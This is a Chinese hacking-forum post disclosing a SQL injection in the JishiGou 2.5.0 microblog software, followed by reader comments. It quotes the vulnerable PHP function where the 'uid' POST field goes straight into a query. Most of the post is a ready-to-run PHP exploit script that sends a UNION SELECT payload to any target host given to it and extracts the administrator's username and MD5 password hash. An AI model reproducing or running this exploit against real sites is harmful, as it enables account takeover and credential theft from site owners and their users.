记事狗微博 V2.5.0 SQL Injection 注入漏洞
t00ls重开这么久了,大家都没响应下?等什么呢?还是都没兴趣讨论技术了?
记事狗是一套开源的PHP微博程序,其支持Web、手机、QQ机器人、站外分享等多种方式发布内容,并可通过QQ、微博秀、同步到新浪微博等方式传播内容,是业界领先的微博建站系统;记事狗微博集成了Ucenter模块,可与所有集成该模块的系统(比如Discuz、Ecshop等)进行无缝整合,完美实现用户同步注册、登陆、退出,同步上传头像,同步修改密码,让网站已有用户轻松使用。!
1
漏洞核心程序(/modules/ajax/topic.mod.php):
function UserMenu()
{
extract($this->Get);
extract($this->Post);
$uids = $this->Post['uid'];//无任何过滤
if($uids) {
$buddysid = array();
if(MEMBER_ID > 0) {
$sql = "select `buddyid` as `id`,`remark` from `".TABLE_PREFIX."buddys` where `uid`='".MEMBER_ID."' and `buddyid` = ".$uids;//直接入库
$query = $this->DatabaseHandler->Query($sql);
while ($row = $query->GetRow())
{
$buddysid[$row['id']] = $row['id'];
$remark_name = $row['remark'];
}
}
}
$list_members = $this->TopicLogic->GetMember($uids,"`uid`,`ucuid`,`medal_id`,`username`,`nickname`,`face`,`fans_count`,`topic_count`,`validate`");
$follow_html = $list_members[$uids]['follow_html'] = follow_html($uids,isset($buddysid[$uids]));
$sql = "select `uid`,`touid` from `".TABLE_PREFIX."blacklist` where `touid`='{$uids}' and `uid` = '".MEMBER_ID."'";
$query = $this->DatabaseHandler->Query($sql);
$blackList = $query->GetRow();
$sql = "select * from `".TABLE_PREFIX."user_tag_fields` where `uid` = '{$uids}'";
$query = $this->DatabaseHandler->Query($sql);
$usertag=$query->GetAll();
include($this->TemplateHandler->Template('topic_user_menu'));
}
case 'usermenu':
$this->UserMenu();
break;
<?php
print_r('
--------------------------------------------------------------------------------
JishiGou 2.5.0 "ajax" SQL injection/admin credentials disclosure exploit
BY godblack([url]https://www.t00ls.com/[/url])
--------------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to JishiGou
Example:
php '.$argv[0].' localhost /
--------------------------------------------------------------------------------
');
die;
}
function getrand($i)
{
for($j=0;$j<=$i-1;$j++)
{
srand((double)microtime()*1000000);
$randname=rand(!$j ? 1: 0,9);
$randnum.=$randname;
}
return $randnum;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$cookie="JishiGou_ZDgwxL_auth=8743x%2FRUOVdWAQs4S1CRqZ%2FQ3ez0Xp9aEv4AQdkTHf9dropT9cyT0IYD6m%2FLNX%2BHI0dnZMWcePK7S5PylijS; JishiGou_ZDgwxL_sid=I6b932; JishiGou_ZDgwxL_login_credits=1300090380";
$useragent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)";
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}
/*get $prefix*/
$data = "uid=-1%27";
$packet ="POST ".$path."/ajax.php?mod=topic&code=usermenu HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: zh-cn\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("in your SQL syntax",$html)){
$temp=explode("from `",$html);
if(isset($temp[1])){$temp2=explode("buddys",$temp[1]);}
if($temp2[0])
$prefix=$temp2[0];
echo "[+]prefix -> ".$prefix."\n";
}else{
//echo $html;
echo "[+]can't find prefix ,use jishigou_\n";
$prefix="jishigou_";
}
echo "[~]exploting now,plz waiting\r\n";
$data = "uid=-1/**/union/**/all/**/select/**/1,concat(username,0x7C0D0A,password)/**/from/**/".$prefix."members/**/where/**/uid=1";
$packet ="POST ".$path."/ajax.php?mod=topic&code=usermenu HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: zh-cn\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
echo "\r\n";
echo $packet;
sendpacketii($packet);
if (eregi("<!--\(\)",$html)){
echo $packet;
echo $html;
die("Exploit failed...");
}else{
$pattern="/<\!\-\-\((.*?)\)\s\-\->/si";
preg_match($pattern,$html,$pg);
$result=explode("|",$pg[1]);
print_r('
--------------------------------------------------------------------------------
[+]username -> '.$result[0].'
[+]password(md5) -> '.$result[1].'
--------------------------------------------------------------------------------
');
}
?>
评论18次
把分析代码的思路贴出来比直接贴漏洞好多了~~~~
TOOLS重开,处女贴,,嘎嘎。。
求指教 getshell那个能够干掉3.0的?
进来看看大牛的文章 有点找不到原来的感觉
八错八错。。非常好
又见大黑阔。
来看看 哈哈!!
牛。。这程序没怎么留意。额
学xi了
select .... where ..
思密达、留级党呀、哈哈、周末发技术帖
上班时间??哇撒搜噶,思密达
这个已经有了 #77 只是不知道还有个getshell 的 ,去翻翻程序去..
上班时间。。。。管理员都在 商业化了吗?。。。。。。。。。。。。。。。。。。。
前来膜拜
前来朝拜洞主
没办法。 发技术交流也一样的,不影响发帖以及回复。 另外,上班时间,管理员都在线,可以处理的。
我觉得有一个原因是帖子现在只能发技术交流 必须等管理审核再转移 这样搞很蛋疼啊 望改进 顺便沙发支持洞主..